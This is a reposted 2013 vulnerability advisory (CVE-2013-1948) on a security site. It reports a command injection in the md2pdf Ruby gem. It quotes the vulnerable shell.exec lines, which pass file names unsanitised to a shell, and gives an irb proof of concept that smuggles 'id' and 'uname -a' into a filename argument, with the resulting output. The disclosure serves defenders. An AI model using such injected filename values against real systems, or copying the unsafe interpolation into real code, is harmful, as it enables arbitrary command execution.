首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ruby Gem md2pdf Command Injection Vulnerability
来源:@_larry0 作者:Cashdollar 发布时间:2013-04-17  
Remote command injection md2pdf ruby gem
4/10/2013
  
Description: "creates pdf documents from markdown documents"
  
  
In md2pdf/converter.rb we see user supplied input being passed to the command line with out proper sanitization.
  
 12       shell.exec("pandoc#{options} #{input_filename} -o #{output_filename}")
  
23 shell.exec("pdftk #{temp_filename} multibackground #{background_path} output #{output_filename}")
  
Where exec is defined as the following:
  
 37     def exec(command_line)
 38       require 'open3'
 39       stdin, stdout, stderr = Open3.popen3(command_line)
 40       return stdout.read
 41     end
  
PoC Notes:
  
irb(main):001:0> require 'open3'
=> true
irb(main):002:0> stdin, stdout, stderr = Open3.popen3('pdfcnv filename;id;uname -a;.pdft')
=> [#, #, #]
irb(main):003:0> puts stdout.read
uid=1000(larry) gid=1000(larry) groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),117(sambashare)
Linux underfl0w 3.2.0-39-virtual #62-Ubuntu SMP Wed Feb 27 22:45:45 UTC 2013 i686 athlon i386 GNU/Linux
=> nil
  
  
  
This vulnerability has been assigned: CVE-2013-1948
  
Larry W. Cashdollar
@_larry0
  
  
  
CVE-2013-1948
  

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MinaliC Webserver 2.0.0 - Buff
·Free Float FTP Server USER Com
·AT-TFTP Server 2.0 - Stack Bas
·SAP ConfigServlet OS Command E
·KNet Web Server 1.04b - Stack
·TP-LINK TL-WR741N / TL-WR741ND
·Nagios Remote Plugin Executor
·Mikrotik Syslog Server Remote
·Ruby Gem kelredd-pruview 0.3.8
·MinaliC Webserver 2.0.0 Buffer
·MongoDB nativeHelper.apply Rem
·Netgear DGN2200B pppoe.cgi Rem
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved